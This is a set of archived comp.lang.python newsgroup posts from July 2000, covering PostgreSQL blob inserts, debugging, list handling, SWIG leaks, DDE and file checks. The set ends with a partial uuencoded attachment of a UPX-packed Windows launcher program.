> In PostgreSQL table is :
> <snip>
> test=> \d  test_blob_s;
> Table    = test_blob_s
> +----------------------------------+----------------------------------+-------+
> |              Field               |              Type                |
> Length|
> +----------------------------------+----------------------------------+-------+
> | filenumber                       | int4
> |     4 |
> | filename                         | varchar()
> |   100 |
> | filecontent                      | oid
> |     4 |
> +----------------------------------+----------------------------------+-------+
> test=>
> </snip>
> 
> Now I'm willing to insert in that table rows like this one :
> <i>, <file_name_i>, <file_name_i_content>.
> 
> Here's is the (not-so-running) code :
> 
> <snip>
> #
> #
> # ############################################
> import os, glob
> from pg import DB
> 
> conn=DB('test')
> conn.query("BEGIN WORK;")
> 
> i = 0
> for name in glob.glob("*.jpg"):
>     print "Name is ", name,
>     try:
>         conn.query("insert into test_blob_s  filenumber  values (" + i +
> ")")
>         print " inserted"
>     except TypeError,e:
>             print '\nerror ', e, 'undefined'
> #    conn.query( "update test_blob_s set filename = '" + name + "')")
> #    conn.query( "update test_blob_s set filecontent = '" +
> lo_import(name) + "')")
> 
>     i = i + 1
> 
> conn.query(" COMMIT WORK;");
> 
> </snip>
> 
> of course I can't have it passing the insert of "i"
> Could some one help ?
> 
> Thomas,
> 
> --
> 
> Thomas SMETS                           Phone : +32 (0)2 742. 05. 94.
> Av. de la Braban?onne 133 / 3          e-mail : tsmets @altern.org
> 1030 Bruxelles
> 
> ==== Quote of the day =========
> You shouldn't wallow in self-pity.  But it's OK to put your feet in it
> and swish them around a little.
>                 -- Guindon
>  ======= End of Quote =========

-- 

Thomas SMETS                           Phone : +32 (0)2 742. 05. 94.
Av. de la Braban?onne 133 / 3          e-mail : tsmets @altern.org
1030 Bruxelles

==== Quote of the day =========
Your true value depends entirely on what you are compared with.
 ======= End of Quote =========


From see at my.signature  Tue Jul 25 01:00:49 2000
From: see at my.signature (Greg Ewing)
Date: Tue, 25 Jul 2000 17:00:49 +1200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <T1Ze5.9877$r4.5093@news.indigo.ie> <uya2rpfja.fsf@ctwd0143.fitlinxx.com> <3L%e5.9930$r4.5151@news.indigo.ie>
Message-ID: <397D1F01.214C4F52@my.signature>

Gerry Quinn wrote:
> 
> Even 10 iterations would be only 5 minutes.  A bug that took that many
> iterations to kill would require much more than 5 minutes thought.

You're completely missing the point. It's not the number
of iterations required to *fix* the bug, it's the number
of iterations required to *find* the bug.

The ability to watch your program execute is an extremely
powerful way to track down the causes of bugs. You know
what the program is supposed to do; the program is actually
doing something different. If you can watch the program
execute step by step, it becomes instantly obvious where
they diverge. Usually it's also instantly obvious what
has to be done to fix it, since often it's just some simple
oversight.

So, with most bugs, the actual amount of thought required
to diagnose and fix it is very small, provided you have
access to all the required information. In a system which
has a 30 second turnaround, getting hold of that information
can be a very drawn-out and frustrating experience.

Some bugs, of course, are much more subtle, and require
a lot more thought. But even then, the more information
you have about what is going on inside your program, and
the easier it is to get that information, the better.

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From michael.husmann at teleatlas.com  Mon Jul  3 10:17:35 2000
From: michael.husmann at teleatlas.com (Michael Husmann)
Date: Mon, 03 Jul 2000 16:17:35 +0200
Subject: extracting tuples from a list
Message-ID: <3960A07F.7240F23B@teleatlas.com>

Is there a simple way to extract two elements from a list
that has a size of 2n? I going this way:

while list:
	i, k = list.pop(0), list.pop(0)

Is there a better solution?


Thanks 

Michael

--
Michael Husmann
p.A. Tele Atlas Deutschland GmbH, Postfach 77 77 77, D-31132
Hildesheim
PHONE: +(49) 5121 49 4876, FAX: +(49) 5121 49 2866
e-mail: Michael.Husmann at teleatlas.com


From ingo.adler at synacon.ch.bbs  Sat Jul 15 19:30:03 2000
From: ingo.adler at synacon.ch.bbs (ingo.adler at synacon.ch.bbs)
Date: 15 Jul 2000 23:30:03 GMT
Subject: Memory leaks
Message-ID: <3bQ2AR$mzh@openbazaar.net>

This is a multi-part message in MIME format.
--------------551E50A81E22A2D9D6B82AD8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Gordon,

I can provide the sample project for MSDev, if I may.
I would send it directly to you.

Ingo.

Gordon McMillan wrote:

> ioadler at my-deja.com wrote in <8klffg$ql5$1 at nnrp2.deja.com>:
>
> >In article <8F6667253gmcmhypernetcom at 199.171.54.154>,
> >  gmcm at hypernet.com (Gordon McMillan) wrote:
> >> Ingo Adler wrote:
> >>
> >> [strange leaks in SWIG'd code]
> [snip]
> >> Doing things in the "obvious" way from your (snipped) incomplete code,
> >> I get no leak when using MSVC 5.
>
> >Finally, I reproduced the leaks under the control of "Code Guard", which
> >can list them.
>
> [snip trace and code snippets]
>
> Not only did my experiment not leak, but I can't match up your SWIG
> snippets with anything in my SWIG generated code. I'm running SWIG1.1p5 (as
> of a few weeks ago, the latest stable release).
>
> So maybe you're running a buggy SWIG. Or maybe I could ship you what I
> tried, and you can look for differences. I can't debug from your
> description (nor have I the time to do so), but I can assure you that what
> you're trying to do doesn't have to leak.
>
> - Gordon

--------------551E50A81E22A2D9D6B82AD8
Content-Type: text/x-vcard; charset=us-ascii;
 name="ingo.adler.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Ingo Adler
Content-Disposition: attachment;
 filename="ingo.adler.vcf"

begin:vcard
n:Adler;Ingo
tel;cell:+41-79-3786792
tel;fax:+41-41-7103244
tel;home:+41-41-7103268
tel;work:+41-41-8111500
x-mozilla-html:FALSE
url:www.synacon.ch
org:Synacon GmbH
adr:;;Rubiswilstrasse 7;Ibach;SZ;6438;Schwitzerland
version:2.1
email;internet:ingo.adler at synacon.ch
fn:Ingo Adler
end:vcard

--------------551E50A81E22A2D9D6B82AD8--


From grey at despair.rpglink.com  Thu Jul 27 12:03:53 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Thu, 27 Jul 2000 16:03:53 GMT
Subject: Python luddites (was Re: Type inference now simplicity)
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au> <397F5410.6D9D317A@uab.edu> <20000727104408.A10021@inkontact.com.au>
Message-ID: <slrn8o0n77.qhk.grey@teleute.rpglink.com>

On Thu, 27 Jul 2000 10:44:08 +1000, Steve Purcell <stephen_purcell at yahoo.com>
wrote:
>I love the fact that Perl folks rant about features 'missing' in Python only
>to find that the exact same functionality is available in a nicely packaged
>form in a standard module (e.g., 're'). This is the Python aesthetic, and I
>love it.

    Exactly?  Are you sure that is the right word esp. with the example given?
;)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From hei at adtranzsig.de.bbs  Mon Jul 17 05:40:05 2000
From: hei at adtranzsig.de.bbs (hei at adtranzsig.de.bbs)
Date: 17 Jul 2000 09:40:05 GMT
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
Message-ID: <3bR7T6$kGA@openbazaar.net>

There's also some thing called Visual or Visual
Python by David Scherer. See the edu-sig archives
for details. Call it "optisches Python", that's german
and surely not trademarked. (When we germans
seek a product name, we always come up with
an english one because that's modern so we wouldn't
ever trademark anything that contains a word in our
native language. So you're secured.)

--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net


"Paul Prescod" <paul at prescod.net> schrieb im Newsbeitrag
news:3971F055.68CD6897 at prescod.net...
> Phil Thompson wrote:
> >
> > ...
> >
> > The Visual Python home page is at
http://www.thekompany.com/projects/vp/.
>
> Be careful. When I worked at Watcom we tried to make "Visual REXX" to
> hear that some other company (not Microsoft, but obviously related to
> Microsoft) had a trademark on Visual X where X is a programming
> language. Microsoft licenses the name and other people are supposed to
> also.


From robin at jessikat.fsnet.co.uk  Thu Jul 27 14:32:39 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 27 Jul 2000 19:32:39 +0100
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com>
 <slrn8nv0l4.mqi.grey@teleute.rpglink.com>
 <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com>
 <slrn8o0m0c.qhk.grey@teleute.rpglink.com>
 <39807595.D6F543E9@netscape.net.remove>
Message-ID: <FMsgUTBHBIg5Ew9s@jessikat.fsnet.co.uk>

In article <39807595.D6F543E9 at netscape.net.remove>, Brian Steele
<disposable002 at netscape.net.remove> writes
>Steve Lamb wrote:
>> 
>[snip]
>>     *mutters something about lawyers, marketing people and a tank full of
>> sharks.*
>[snip]
>
>What good would that do?  Sharks, snakes, etc. won't bite lawyers out of
>professional courtesy, and since marketers are really of no substance
>anyway, it would be like feeding the sharks tofu.

The difference between eels and lawyers is that one is a slimy creature
you wouldn't want your sister to marry; I forget what you're supposed to
say about the fish. 
-Expecting a barrage of torts-ly yrs- 
Robin Becker


From dsavitsk at e-coli.net  Sun Jul 30 22:48:41 2000
From: dsavitsk at e-coli.net (d. savitsky)
Date: Mon, 31 Jul 2000 02:48:41 GMT
Subject: Windows DDE Server via Python
References: <V5Qg5.89374$dF.3137888@news1.rdc1.il.home.com> <Fd3h5.3600$_8.423190@nnrp3.clara.net>
Message-ID: <dO5h5.91281$dF.3201425@news1.rdc1.il.home.com>

thanks. i think a fair amount of reading and bugging the maker of the server
is in my future.

doug

"Penfold" <spam at spam.com> wrote in message
news:Fd3h5.3600$_8.423190 at nnrp3.clara.net...
> This is fairly easy using the dde module that comes with Mark Hammonds
ever
> invaluable win32all distribution.
> [http://starship.python.net/crew/mhammond/].
>
> Once you've grabbed it look at files in the win32/demos/dde subdirectory
of
> your Python directory.  You'll see connecting
> as a DDE client is a piece of cake.
>
> I'm not sure how warm/hot DDE links can be implementing using it but
static
> requests and Execs are no problem.
>
> Des.
> [cosi@*REMOVESPAM*operamail.com]
>
> d. savitsky <dsavitsk at e-coli.net> wrote in message
> news:V5Qg5.89374$dF.3137888 at news1.rdc1.il.home.com...
> > has anybody ever connected to a Windows DDE Server via Python? is it
> > something i should do or not?
> >
> > i have a .dll that does it for me and i just use windll (god bless Sam
> > Rushing), but the dll is written badly (i.e. it crashes often from
python,
> > vb, c++, anything really, and doesn't give much in the way of error
> > messages) so i thought i might skip the middle man - although it could
be
> > the server itself that sucks ...
> >
> > thanks for any suggestions,
> >
> > doug
> >
> >
>
>




From thiele at muc.das-werk.de  Tue Jul 11 13:58:22 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Tue, 11 Jul 2000 19:58:22 +0200
Subject: checking the existence of a fiel
References: <WaHa5.175$T23.3601@m2newsread.uni2.es> <8kfl5m$skq$1@nnrp1.deja.com>
Message-ID: <396B603E.EE48DC85@muc.das-werk.de>

>
>
> os.path.isfile()
>
>

os.path.isfile() and not os.path.isdir()

or  not?



From mikael.lyngvig at toolwood.dk  Sun Jul 23 21:11:23 2000
From: mikael.lyngvig at toolwood.dk (Mikael Lyngvig)
Date: Mon, 24 Jul 2000 03:11:23 +0200
Subject: Win32 : Making script.py executable in DOS box - PythonLauncher.exe (1/1)
References: <8jmjfe$64o$1@nnrp1.deja.com>
Message-ID: <B26565B38EE7326B.10FC60E212A4E04C.070C619BCFD4DE99@lp.airnews.net>

begin 644 PythonLauncher.exe
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````T`````X?N at X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X at 1$]3(&UO9&4N#0T*)`````````"\T:*1^+#,
MPOBPS,+XL,S"^+#-PLBPS,*:K]_"^[#,PH.LP,+YL,S"$*_'POFPS,)[K,+"
M\K#,PA"OQL+=L,S"4FEC:/BPS,(``````````%!%``!,`0,`-8>P1```````
M````X``/`0L!!@``,````!````!0```0C````&````"0`````$```!`````"
M```$``````````0``````````*`````$`````````P``````$```$``````0
M```0````````$````````````````)```'0`````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````55!8,```````4````!``````````!```````````````````@```
MX%506#$``````#````!@````+@````0``````````````````$```.!54%@R
M```````0````D`````(````R``````````````````!```#`````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````"@`D26YF;SH at 5&AI<R!F:6QE(&ES
M('!A8VME9"!W:71H('1H92!54%@@97AE8W5T86)L92!P86-K97(@:'1T<#HO
M+W5P>"YT<W at N;W)G("0*`"1)9#H at 55!8(#$N,#`@0V]P>7)I9VAT("A#*2`Q
M.3DV+3(P,#`@=&AE(%506"!496%M+B!!;&P at 4FEG:'1S(%)E<V5R=F5D+B`D
M"@!54%@A#`D""?GLQ7*'D/.Y at 60```(L````<```)@4`T/____]5B^R![`0!
M``!3,]N#?0P"5E=R.HM]$%.-A?S^__]34-____]7_W4(Z`4`!]"#RO\SP(O*
M@\04\J[WT4F-O1^+L/^/M?$1#@/Q.74,<P5J!5OK,AIG=_]YRC/`*_F+P8OW
M4HE%#!.+_7_[;PA/B\C!Z0+SI0:#X0/SI%^+PUY;R<.S_]:^>XM\)!0B=%!0
M_W0D'#/V>7[[AYG)=SM,)!!V`V=>B\9?7KO!NM8Q(B@,`Q at N"1?76OMO*0R%
MP'4%OND#U"0CX?^_M5U367T(X(<X'W0H#[8&4&CT4$``Z_[??B[,62Q9=`A&
M@#X`=>;K#)O_`K()>W]J`5O&`")WP at RS#:S]]H7;M70KOTA112:3LYW[)(O1
M$>7*3^+*!K=]MUXD6UV,46,4D%??+OS=BS"!/L=9B_B+31Y]_"&-'+&*VW?M
M_P\Z30R(30MT#(3)E\DAB\?K'0=T]NVS_QD[^'85@"<`4#2)`XHD1H/#!#7>
M[;;;1REUR$_\&`J(75E?B3"[^_WY;LFX2!$`Z0L\=&@D4O8L%[X="K=S at V7\
M`.7 at _;Z^\-L]_U#Z5O^1`+I"$(/+_YTMN]]S#X4#`@`DV/I0*U9\=@>W?LD&
M9![D`<#WF\&Z at 4"('L6^&#9[B'5R5G-I&PK$M;]P"_I-_&_\B82-X/L\UQ8V
MFV@:&`E?>9;=NPE0:CM780%K%&-[]VVA at 3F`!0`/@XH,(47X.2W]C1=[#X9%
MF3)W\,=%]#!@A'S\K87A\(O+C97HG3CCX`C"^MEGK,'W1HQGZ,MQ+H0-YPZU
M]KY[#[X-%,H[P70NOP@>+7B%29A,_/K[-(`=6DCZ32`N%CLV&Q\TOQ!B*S:+
MM13173$ND('LM<]?686VFPUM4"N+!SAU9X-%!"BXRQ<]]#Q at 0(S>('+=AK?6
MB@(6\`0[1(+$$KAVZOBFZD<[PP^$R at H]5`J.?"//N.JF%>LU`=:T&6GLGKCD
M'.EK0SX,X0;Y3@"X]LLEA!M_\`!\G8%++K1&DZ"]Z@`#2D::^#SX"H25;';T
M8OD<&60N2#G_\(.A.8)C!(MB'_^X*9Q+]@#(^)OD9)RPTM!R/N[JR/A"&+;L
M)R02LXGD1DVT4<HT!QF'8%.C>@A+9L,C at _@!JHZ&K`R'8&W[@\$$2(D&B1QK
M7@<75LBX[B[0^27:LV*O=W=[WEE_[<`Z^!A9;,M!@R;6[2&$!*3_30@^=8<E
M.AOXS/@Q4-D';UW`X=HA094Z0KB,S/Q=P)?AN'@&!;A,)P0*+'`(6>Y8GBT$
MVNW!)T<(:AK6F_L-G$E1JFKU_Q4$4#$&8/8?;#`#7UU]5U96:@,"_6?KX`%6
M?B0;$/@[_G065W"V_[,,#/!73O?>&_9&#@B9;KM[M&:#[%1EK$P@:\W!NPGP
M4`WX`$H#\('I7&\:',B#L]V:*-H::L5U\!08;43&-@@,"Q2=-8C<X/M9_]83
MUF1>R6&WP!_=4XM="/-3Y!$,K0W^]K]9<B&`>P$Z=1N+0(7V=!!J`A'XTF8#
MK1!S@&:Q0T/K"MNW=V",:@.`(`!`#`"`.['#O_0&P[[_X==T98H(3='V@@%H
MY>V_;6X$(T#K&H#Y+W0/!%QT"A)W_.TN=0LD_.L&C4@!!T"`.$^EA<[$SPTX
MA1LJV*UM+/P0`'0?*_L:<L?^DZQV^&VQ$'IO$'TD!U*N:[7FW0R!31"%R2$1
M##J0(=F^3#O[<D@^%!2WS;9D%"\81"N%.\8X61.W<R;P5A)7X"0^&^QF6_4H
M(A07*\,A4Q\P at FP)_!@.P]8%PT$/VU?0@@,F[MH&#71]0<]U)&@R&AKE$T at 4
M"V>1QUZ[6]@+9!8,)NM1Q]0>A4*'%M,,/DNJN+#=FB@[%7(9R`@7!U<;GK.1
MJ5DS(AWI'3G/N"5KPQLS)%"@$J)"KHM-"^L1!0U,CO\NEG at 1ASI?3LS,C4+_
M6\.-[5O;W*0D1'!D!BJ*1"0(M\W`;>'8P>`05`GWPI"W^%D7_Q.*"D(XV731
M4U$2=>T+V/_ZM]_MP\'C$%8(BPJ___[^?D`SRP/P^ANMI0-M\0Q.,\\SQH/"
MS^^7V+_A<`&!=1PE!G33`;^U'VZ&@>83=<1>B'3#BT+\..G^O_#8=#:$/^\X
MW'0GA.1TY\'H$!(5GK6;IMP&U.N6+;%"_MK/2><W!OW\5HMTL#2:33N9)%:_
M%/E664NE5C@""^XWE/_>S$+A-;QF%!HL#X,]P$;#K>$-Y38U*$=7H.QV;[0[
MW#DU,`QT638 at .32ZFS554!U61HM<.\-#DR[-=#X1=@;OO]UB;"]0#CN-=A<0
M@#PX/75IY!>-#V'''_IT at G"TOWW&!.O3&XU$.`'K`NP=UM!X9GD`43T_>4RX
MQWXW\'(4@<,;3BT0A0$7<^RCM?#V*\B+Q`R+X8N-0$!3W.[@TLEH,(!H##D$
M9*$-;;T_MU!DB24'%1"CB;C2-]MEZ.$T,]**U(GQO`TB%0K'@H7#73C;=PW!
MX0@#R at H08J,,NLQ#P0<:,7^J'-ON5;K]#`$))F--,&,_0C>C"&GZ)3&C\&,)
M(J\?;K[D!"L3":$CHRQDX6:#V=PU(`8%'`0!VNJ6ODO%Y%`G-B+LR0E7*!M>
MX>!049@@I_JP%;J%;W7@'D>2^%L",>W=+-P-*>#_R00J&6B\AM at 0YLI08"\D
M6263.@$W.*PC&"9:PY=V'0XLK%D[-=3OB1!LERJ7CFH!SCOS"5:Z_=_]TKA@
M6CDP='*#P#!"/5!A#'SQ`Y?97G[H4%9.//P(7>'";B0I:D"]6;][$GUA^&.M
MZ*=0\ZNJB1T$'*<N?FQV[]%][L"[3F]_M/U-[XH1A-(,KEVV0?\#TCO"+1"!
M[P^'DR6(!0/NN/_?EE)(C312B5W\P>8$JHV><)&W=OL//\MT+(I1`49T)3Z%
MMOKV[?X;9W<4BU7\BI)8(`B01D`34HZ6_G;U04&`.934]-/;<MW0"`<$<L'3
M(NRB[@_OHP$DHZP+=HVV9#N%[N_=O^`/I:59H[NEZU5`>4%G#EQLYTA1T:$(
MV2SVPT`]57+Q5CDL5*R]5F"N^@O"36_#6VVK`&0Y'?R>=`XP`@ZZOJD$TGX#
MA12KX;TUBUT$@R4A5?Z/&^&36TO\8_\E1&K]%*6ED0M`_%.AG[N.#7MZ&4DM
MI(IT(K#5ML&#Z$\7!`WS2,[6[BI^3+@$!!8%$@.%Y]D+"!%7;`LC!!L$;*JT
M%Z/\@-][Q=S#7\/5%`7`>(X/@^Q6T2(*4.'W8Q8TP+Z'B(0,7=]_P7*"QG+T
MBD7RQH4-(+,WT7;C!AN-56"V"@+`=H]=NC5W'<B-O"I!N"``B]GZ%X4O?ZO>
MNZI"0HJK4NO6U31UT,6*QHO9:V;L=(UZEM@&$Y\Y5MU0+;LCS2;[SOT=5AY6
M--0K&=DC*VS\:``-+07,6R>=7&J-G]#B?W)FBQ'VP@%[^A"*E/+6Q;\%9(B0
M`&?Q'!H"=!`TWKMS(%OKXX"@'($-$VYH/`"_ZTD5)4%_6&,'J_A:JDO(@,$@
MB).7M[&(21\=87(3>G<.BV[8FR#I(.O at 3$J^AOSZLX"?Q'42:OV1DUFS'8)L
M=\2@'NR.P>VA<8D"=1'<#%<;E#:[<B\,ZV,EFH6]<$=+-SU=B@%*AO#VAG/=
MUB-TB`=T:4$9&18,C34:6 at JM%,D'$-JVM[@6==)$@&?_IP0%_D=O"UQ_PDH4
M7C"-2@%13BAR0M&TRL3,4:KQP@"+3)5L]NQK(S,47E)`#G7QF"<^\:/J`;HI
M`]`>W4>BH\+UJ13HBT'\*S+1A&$'Y"2IGW&IV?Y:__YT`NO-C3E5*\'#"?Y`
MD$DF_?PP'('7"0@#S!&:`PX.&<['"#'*NG7AV=524UD2:QE-!&0"<Q;.M&5'
M#<S'2W#T+8!E"W3XMV/QCEH(@,-`L%"(1<9%@CV+VPDZ`PHNE.L2):TC&\4?
M=$ATMS87EX5^#W>OC0QU(;L2L6AH?P.K4/(Y=@,6W<@4(/*'('X/$*R[+,_I
MP,I9&=Q7?B<P#!/,T'9U;8'7822B/X@,GU`PG6R#E%R`3`JGM%9P-2#&H-,#
M^!H4."'E\_&X98&-'MX[CB#K");P]L^X8H/Y$W(=!"1W&`L/_.O>-`355"JC
M$,.!^;P'$K/-)&P'RC$(=@HQ&_BQGQ:AT&9]`O_0:!!B:`CR%3YP!-CQ'@X`
M-!>%&"".`>19/D=X$%@,`>!PWR97#U\Y/4A=W?LZV<K80E10B'PIW7T+0]:2
M%(D]1"*('4#1IY_]*#RAS(,BBPW(^(UQ\?>BM,[P;JJ7@^X$#/G^*P<B<^U>
M:!B4%&TL^2YB:"`0'#);G42L,U5ZB89<7T6RW0EH.ZIS#5>>@1O-XE&#-82E
M,;IO)Q[I':VG!.!W(A($E1S]>$E[%CEC:V8&GH,3,/S>MU<]NY>%I&)W"U8:
M&$\<4F\+#9<#"UYC#X/F=*U%+J''6#@19.,/?5!H,0^4P%`%`"Z^1F^C)4!V
MN]GJ<.:P#S9<;1W#TRW,T0^F4#>X=K;7;74!NB6P80:T+F:6"^ZCK`?NI&80
M/6#L4M^A&(W[H;@'B.Z;EECG<YM4C%`,@?H`)%BXK<9R!V1:Z&R0[VBIB;@,
M$0AQ01"+\K_5$MLK<0Q:K<)DP>X/B\Z^%`W\BWK\:<D$G$O*C8P!1/@+;>&9
M#?0J\(L,$_;!+\#_!17X=7_!^01J/TE?(3O/=JU6N+4#*$%,$]`#__2+;X)(
M1/D@<QR_7M/OWOUO;5(!B-<A?+!$_ at EU*W4A.>LD!W/!MF_@'BTAO+!"[M.Y
MQ!(D!GD$4:$W,F/;?%6)"@0N7?BV]M]M#0B,B_O!_P1/@_\_>X9?W1+=UB^]
MX9?L$:!"*_>/N1:5$:&)5?A)6CO*II_;6G=V!8GSRD$;^T`^.ZEV:\'Z=HN_
M=&LN0AD9L&U1OE&]NNI at D4L>TB%4$1YK"?FPO=(AE$Q2+&?;%K])ODH+!`@7
M%FJM$9$4[-4).?B"A0HSD8ET\+GN#5NR^2D+)HDO_;*5K0X%")=*8XI,!P1"
MN]^@[[I-#_[!B`MS)>"RW;_;#T8.NXB+S]/K=@D9#3[VK53BL0D8ZRDD$(U/
MX(?@GL49)5D$#YV$$G_#8[<).(M41?")&HE<$U!;I,W""$CZH;#"IM]/O5DR
MQJB+/610N0_[*]?M`T@,4H``2[I1_]<?O0<A-C(<"5`(#G>S]X<Y0!"#I(AL
M)`_^2$.]X1)G"DC/>4,3 at V`$_MJFMXX1 at WAD=6Q3$'`,6B,A0/<2"1`X]`HE
M8AR+%?(BDOY=Q!;+R"C at 3!'L48U(%%&WR\`'YC$<J,7_#2^UA1KO.P4B-:04
MEM?H5.`ZBTP7)&D2G%^CK(DU-RHA5PK89B]H3=/&)W<\@BP;2!=V\!<+_XX.
M:DDT?0Z#SO_3[H/M_^_(\5+<].L0)FTS]M/HQK^E<`[_H6F+V#O??]3?+OP(
M<QF+2^$[(RLC_ at O/=0O];M>X*Q0[FAARYP=U>8O:.]C=-A/R)A4%Z^89=5EV
M;@G>)',1 at WN$"!,WZ^US]@YY)@T;+^X6YO8I!!M8>X7;$/9;XXE]'`=;$(D!
MBT.H:H#6PCAL!QOU4]2V[I5'I12+%OK'[-+AK4HMBXR0MH"01(BULIT]-XL2
M<!%5W7*__1.#2$0+UHL+=1>+D80<]>_"N0$<68O^(SD+UW3IUJR%<BTX_UQ8
M@]UM'$UV3%?.=0UF:G;_);H at 9%^7?`71X4?K]XL at 5/GZ=W7=0PHK?_%[P?X$
M3H/^/WY.,C=N^%X[]YL-`21A70A(FR!]*Q&B?#B.N[\MG-/S["-<B$2)`_X/
M=>H&TK=*52LA"^LQ%^T6H\4KE:$R(1DI40A6<#:8+(5>ETW.(@K`>@3X`)6>
MVUR;KWH(D(24-*E(K6TEP4(,I2+"=+,L`V0&_ at M]*3:W1:G$F3>($6*_NV27
MQK#.C`D["H\)?$-ZP&ZNZR\H#8U.MH]TL>\)>P2QO*T6ONX)-RU](UQJ=0N)
M"HD#_.&WO<NR>77P`]$B`1(R_)_T^.VVBPXAC7D//G4:.QWRH!&I:]A+.Z0&
MI%MTP6L1B=%"!`CA62)2`L:D5\`RW;I!774P7XE0<HA#:KJ2N%>7;`8S*.P?
MQW2(G,#4\!<L/0IHQ$'@"']D^\Q%,(TT at 3-8B480="IJ6P>OK01.(%.R5QEH
M&$C_(`QU%/]V$%?\WUI+!<I\3B3%B7X$_["B;;$%8D&#$)EM-)5K4>DN<<A!
MFAVM4C'%3^!#PQA;'S<W:<"!6OLP at C2T7:B>0`@"!(=*L]VZ-1[[A<'GWWD,
MBQ"I?,7D@`#%""=MOT6_'/^-EP!P3_IW/(U'=TAW-T<O\H.([,,7B/P&QT#\
MEV at SF/!"#N_\2`3 at 0WSNQX#H$!0%:$CPR+W1WI9VQXM[@PP%^(:UI5IG8R:)
MK.$,"/KA]K*/062>1$*\GN.*1D-WE6JTG`N:>HA.0P7&^!:&"7@$NBS+:+):
M`0=^:MBTB>?HQ-SE_YG=A8F_UXUP%RM1#.NUP>H/,'U**H2"3_Q).UQW<S5=
M*UPY!SF(Q8Y?''(+-F#VPV9/I0/9G>5PU(^-&O`_2Q,7-HUV!DY9B3Y?7V*2
MGC`['U/X+#+)1S[3(5R0&2$-!A*GG)`^H9VEUVV1"%*)"&1_9JCV`D\KS@%[
M6ILG3+33JG`)?\END"QN1#'\#,B-'%J+;2;BRUL_"`5E698E3DM92UEED$F6
M65P3(;.MD9(3Y;BZ$;$KB=CK)2!*A+E&Z#!P%O407/RWLV3:.S)"A@$1C4:P
M8VM+<4(0%/@^'_+)_?`C;1_U#XTZ45T,*5FCJS73K4LV7#.DLQ+HT'BZW!#K
M=O8JA6'OUXJ%]W7\&Q at AL]BU;-)/1UIS'@"??`B;SG0&>0YU*"&-3B60A2%V
M!I>1Y:%V>7=Q=W$(E;"V=8X#<HD%=;8>#I?M>UAJ2^U989)E64M+7`]A85EF
MY`8/XF%9Y[FD.<X/Y2R9Y"%A>4Z611=VVXD#2QC\\2$,L(F9=01D)A:#3C"&
M:2:TQ<.":#11"QPMM2W8R`>XDG\L]/ZYR@*]!%%357PPWG?NNUI)P4Z+'7!0
M#@!J_U"@!_R[5T#3B^@[[W0^53FBV]969'XDL2\>55"N=A7;TC8A at 1Y73%U7
M6YL4-LZ/!(Q9*G6W7&V at N&M=6X0]Z_74L<)$CPXAZ%L)/C;:A"`#6!<*%:)0
MVP6T^P6X"@MM75>_W>DDY1`!@_:-,G4C3*.)W*$UM!EZ"SID^:[("[@OCATX
M8ZH\!?)6=7N!6U]]%6!)*]$$M<@5:-UVR8,F`L8,X0(ST;:Y(S5$/8XSP/$,
M&;`[X(/^<#V0$H&0GP'Y73V1A$H]DY\!^1F%-SV- at B0]Y/D9D(^&$3V2"H*#
M]^**(X at 1.[GO8X5/"EE>ZPCZ41'`\/`.DN,T"<N]:I%9A'0MVKUO=[/L0#D5
MP-E6N`5T[>,7ZM/KP,`,&00Y$'7UH7T-WG9)7 at .-%;@2=,$;P0;YPR4Y'<1"
M0Q6*T"4[5Q/1_Q?,\/Z*!CK#=!(\/70!1U9W at YLB7TH!Z^BTO02Q:`/%`CG%
M\XE;1W2<D%T)%DJO/1%[(7A!F3E55SF6P=B^,5E%@#])(C3#!H@%&\LN*391
M0L6^_24#_3=UR5W_A#E"XU<HB0N)'CDO- at 9GQ,!O6]I1O=07N%>^4(K[5MC,
M$BVF>">AHCB`5]W^)/XX&/6+^%A:]:.V at E,N(WU.M:5AOZ@$B-0:&-9_,&S2
MH0 at OI02&4+8MX+!6-?RT2%H at 33+19IRC7X*@ZT>P3!@3 at R&C$%NG&OM[Q[6+
M.R(W]/^WUH/'(12`.")U1(I0`4"`^B)T*84 at U1A1TH[E9.S?H@'B!HH0B!9&
M0`O5M]$B=NO.##G%1D#;(F.W'.M#'@4$0$3N_BUYVO:#&1B('D9E('0)L41Y
M:PD("77,.TBU6W6L8TIF_QT8`$[>]\02*.!D$"L%)V!F;*L5\1?(O-=N46#*
MBP+'T-?B,W^+5H`X7'4$0)(L]A=N;"QU)4$Y?6T-@'@!(HWCT(H"MQV+PO\7
M#;;?V`PSTA at 8#Y3"B071/6__+L732_D.0XC&!EQ&L4MU\[YEJVN`ITK)&`J*
M/[!N4VUT.FMT+B at 9X@@G3!@&'QL/0,*NS0T#%0%`."1I,+9R7QL/#C?'^"?O
M:@8:CA0T^_=1H51E0HT%5]>[+0/<;!MJ-=NNX,-U!-6B9]IH#@MTOB$8`]AX
M8RA8A!?[(\6961?J&P(G)JSC]:`.DC1###^W0C?;)\)F.1Z6ZT!`@=)G;P at 8
